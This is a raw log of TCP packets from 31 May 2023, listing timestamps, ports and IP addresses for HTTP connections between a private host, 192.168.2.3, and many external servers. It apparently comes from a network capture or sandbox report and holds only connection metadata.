May 31, 2023 14:50:01.968545914 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:01.968558073 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.968597889 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:01.997148037 CEST	80	49756	69.163.218.51	192.168.2.3
May 31, 2023 14:50:01.998079062 CEST	80	49756	69.163.218.51	192.168.2.3
May 31, 2023 14:50:01.998265982 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:01.998831034 CEST	80	49756	69.163.218.51	192.168.2.3
May 31, 2023 14:50:01.998914957 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:02.029995918 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:02.033338070 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:02.033535957 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:02.035252094 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:02.035432100 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:02.151185989 CEST	80	49705	59.106.19.204	192.168.2.3
May 31, 2023 14:50:02.151365995 CEST	49705	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:02.165072918 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165160894 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165205956 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165249109 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165294886 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165323973 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:02.165323973 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:02.165323973 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:02.165340900 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:02.165402889 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:02.165402889 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:02.174846888 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:50:02.174964905 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:02.558480978 CEST	49756	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:02.658368111 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:02.659909964 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.660099030 CEST	49758	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:02.660235882 CEST	49759	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:02.679539919 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.679661036 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.690990925 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.710702896 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.723088980 CEST	80	49756	69.163.218.51	192.168.2.3
May 31, 2023 14:50:02.723822117 CEST	49760	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:02.745301008 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:02.764185905 CEST	80	49759	51.79.51.72	192.168.2.3
May 31, 2023 14:50:02.764343977 CEST	49759	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:02.765163898 CEST	49759	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:02.779136896 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779196024 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779253006 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779306889 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779344082 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779344082 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779344082 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779360056 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779397964 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779407024 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779426098 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779453039 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.779469013 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.779506922 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.780551910 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.780600071 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.780653954 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.781021118 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800226927 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800328016 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800384998 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800437927 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800446987 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800482988 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800499916 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800529957 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800530910 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800530910 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800578117 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800585985 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800633907 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800641060 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800687075 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800693035 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800733089 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800744057 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800784111 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800787926 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800838947 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800858021 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800898075 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800924063 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800945044 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.800987959 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.800992966 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801008940 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801042080 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801090956 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801095009 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801111937 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801141024 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801187992 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801233053 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801233053 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801243067 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.801258087 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.801321030 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.820879936 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.820936918 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.820988894 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821044922 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821093082 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821152925 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821201086 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821232080 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.821232080 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.821232080 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.821249962 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.821279049 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.821309090 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.826407909 CEST	80	49758	69.163.218.51	192.168.2.3
May 31, 2023 14:50:02.826551914 CEST	49758	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:02.841573000 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:02.841785908 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:02.868840933 CEST	49757	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:02.869977951 CEST	80	49759	51.79.51.72	192.168.2.3
May 31, 2023 14:50:02.870027065 CEST	80	49759	51.79.51.72	192.168.2.3
May 31, 2023 14:50:02.870142937 CEST	49759	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:02.883306026 CEST	80	49761	208.97.178.138	192.168.2.3
May 31, 2023 14:50:02.883430958 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:02.888468027 CEST	49759	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:02.888520002 CEST	80	49757	193.70.68.254	192.168.2.3
May 31, 2023 14:50:02.892045021 CEST	80	49760	103.224.182.241	192.168.2.3
May 31, 2023 14:50:02.892129898 CEST	49760	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:02.982847929 CEST	49758	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:02.982887983 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:02.992330074 CEST	80	49759	51.79.51.72	192.168.2.3
May 31, 2023 14:50:02.997091055 CEST	49760	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:03.102472067 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:03.109901905 CEST	49763	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:03.121134996 CEST	80	49761	208.97.178.138	192.168.2.3
May 31, 2023 14:50:03.121985912 CEST	80	49761	208.97.178.138	192.168.2.3
May 31, 2023 14:50:03.122068882 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:03.122884989 CEST	80	49761	208.97.178.138	192.168.2.3
May 31, 2023 14:50:03.122947931 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:03.149363041 CEST	80	49758	69.163.218.51	192.168.2.3
May 31, 2023 14:50:03.150259018 CEST	80	49758	69.163.218.51	192.168.2.3
May 31, 2023 14:50:03.150369883 CEST	49758	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:03.151040077 CEST	80	49758	69.163.218.51	192.168.2.3
May 31, 2023 14:50:03.151115894 CEST	49758	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:03.207902908 CEST	80	49760	103.224.182.241	192.168.2.3
May 31, 2023 14:50:03.228926897 CEST	80	49760	103.224.182.241	192.168.2.3
May 31, 2023 14:50:03.228982925 CEST	80	49760	103.224.182.241	192.168.2.3
May 31, 2023 14:50:03.229151011 CEST	49760	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:03.258418083 CEST	80	49762	3.18.7.81	192.168.2.3
May 31, 2023 14:50:03.258620024 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:03.283565044 CEST	80	49763	107.180.98.101	192.168.2.3
May 31, 2023 14:50:03.283698082 CEST	49763	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:03.306010962 CEST	49760	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:03.473973036 CEST	80	49760	103.224.182.241	192.168.2.3
May 31, 2023 14:50:03.751211882 CEST	49747	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:04.039294958 CEST	80	49732	185.80.51.179	192.168.2.3
May 31, 2023 14:50:04.039387941 CEST	49732	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:04.140561104 CEST	49761	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.162657976 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.163542032 CEST	49763	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:04.164654016 CEST	49764	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.227775097 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:04.268446922 CEST	80	49764	208.97.178.138	192.168.2.3
May 31, 2023 14:50:04.268665075 CEST	49764	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.278579950 CEST	80	49761	208.97.178.138	192.168.2.3
May 31, 2023 14:50:04.291168928 CEST	49764	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.318407059 CEST	80	49762	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.318469048 CEST	80	49762	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.318562984 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.318612099 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.326306105 CEST	49762	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.336893082 CEST	80	49763	107.180.98.101	192.168.2.3
May 31, 2023 14:50:04.337593079 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:04.337698936 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:04.342883110 CEST	80	49763	107.180.98.101	192.168.2.3
May 31, 2023 14:50:04.342963934 CEST	49763	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:04.343311071 CEST	49763	80	192.168.2.3	107.180.98.101
May 31, 2023 14:50:04.343663931 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:04.362816095 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.394931078 CEST	80	49764	208.97.178.138	192.168.2.3
May 31, 2023 14:50:04.395735979 CEST	80	49764	208.97.178.138	192.168.2.3
May 31, 2023 14:50:04.395867109 CEST	49764	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.396555901 CEST	80	49764	208.97.178.138	192.168.2.3
May 31, 2023 14:50:04.396647930 CEST	49764	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:04.433197021 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.453367949 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:04.460238934 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.460391045 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.466573000 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:04.466721058 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:04.466784954 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:04.466784954 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:04.481797934 CEST	80	49762	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.487521887 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.487617016 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.514844894 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.516419888 CEST	80	49763	107.180.98.101	192.168.2.3
May 31, 2023 14:50:04.518754005 CEST	80	49766	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.518866062 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.526019096 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.556282043 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.573127031 CEST	80	49768	188.114.97.7	192.168.2.3
May 31, 2023 14:50:04.573211908 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.573539019 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.576267958 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:04.590246916 CEST	80	49768	188.114.97.7	192.168.2.3
May 31, 2023 14:50:04.605004072 CEST	80	49768	188.114.97.7	192.168.2.3
May 31, 2023 14:50:04.605083942 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.606585979 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.629048109 CEST	80	49768	188.114.97.7	192.168.2.3
May 31, 2023 14:50:04.629242897 CEST	49768	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:04.681411028 CEST	80	49766	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.681464911 CEST	80	49766	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.681550980 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.681586027 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.683506966 CEST	49766	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:04.702115059 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:04.702244997 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:04.740071058 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:04.740395069 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.740483046 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.740524054 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.740561962 CEST	80	49767	185.53.177.50	192.168.2.3
May 31, 2023 14:50:04.740576029 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.740576029 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.740576029 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.740673065 CEST	49767	80	192.168.2.3	185.53.177.50
May 31, 2023 14:50:04.838747978 CEST	80	49766	3.18.7.81	192.168.2.3
May 31, 2023 14:50:04.865948915 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:04.869014978 CEST	80	49735	108.167.164.216	192.168.2.3
May 31, 2023 14:50:04.869235992 CEST	49735	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:04.879940987 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:04.923894882 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:04.943924904 CEST	80	49771	18.66.192.94	192.168.2.3
May 31, 2023 14:50:04.944334030 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:04.949204922 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:04.963706970 CEST	80	49771	18.66.192.94	192.168.2.3
May 31, 2023 14:50:04.964003086 CEST	80	49771	18.66.192.94	192.168.2.3
May 31, 2023 14:50:04.964163065 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:04.995227098 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:05.010212898 CEST	80	49771	18.66.192.94	192.168.2.3
May 31, 2023 14:50:05.010330915 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:05.078165054 CEST	80	49742	217.19.237.54	192.168.2.3
May 31, 2023 14:50:05.078421116 CEST	49742	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:05.153621912 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:05.155489922 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:05.155791044 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:05.272339106 CEST	49772	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:05.344999075 CEST	49700	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:05.429546118 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:05.431078911 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:05.431276083 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:05.442548037 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442610979 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442662001 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442703962 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442734957 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442734957 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442761898 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442795038 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442816019 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442826986 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442873955 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442886114 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442919970 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442931890 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.442966938 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.442977905 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.443013906 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.443018913 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.443067074 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.457401037 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:05.471154928 CEST	80	49740	66.94.119.160	192.168.2.3
May 31, 2023 14:50:05.471733093 CEST	49740	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:05.500253916 CEST	80	49734	60.43.154.138	192.168.2.3
May 31, 2023 14:50:05.501939058 CEST	49734	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:05.568881989 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.568970919 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.569158077 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.573277950 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.573359013 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.573532104 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.573579073 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.582024097 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.582067966 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.582226038 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.590821028 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.590872049 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.591012001 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.599714994 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.599756956 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.599966049 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.599966049 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.608557940 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.608596087 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.608784914 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.617391109 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.617444038 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.617613077 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.617644072 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.626230955 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.626290083 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.626477003 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.634984016 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.635021925 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.635198116 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.635282040 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.643795967 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.643826962 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.643980026 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.643980026 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.695014954 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.695060968 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.695398092 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.699417114 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.699461937 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.699520111 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.699520111 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.708244085 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.708326101 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.708441973 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.716563940 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.716626883 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.716703892 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.716892958 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.724236012 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.724298954 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.724455118 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.730946064 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:05.731821060 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.731865883 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.731944084 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.732454062 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:05.732566118 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:05.739538908 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.739600897 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.739671946 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.739734888 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.747131109 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.747179985 CEST	80	49769	74.208.236.101	192.168.2.3
May 31, 2023 14:50:05.747380018 CEST	49769	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:05.799674988 CEST	80	49749	188.166.152.188	192.168.2.3
May 31, 2023 14:50:05.800309896 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:05.946815968 CEST	80	49748	165.227.252.190	192.168.2.3
May 31, 2023 14:50:05.947843075 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:05.954478025 CEST	49711	80	192.168.2.3	185.15.129.58
May 31, 2023 14:50:06.155592918 CEST	49773	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:06.241367102 CEST	80	49773	93.187.206.66	192.168.2.3
May 31, 2023 14:50:06.242140055 CEST	49773	80	192.168.2.3	93.187.206.66
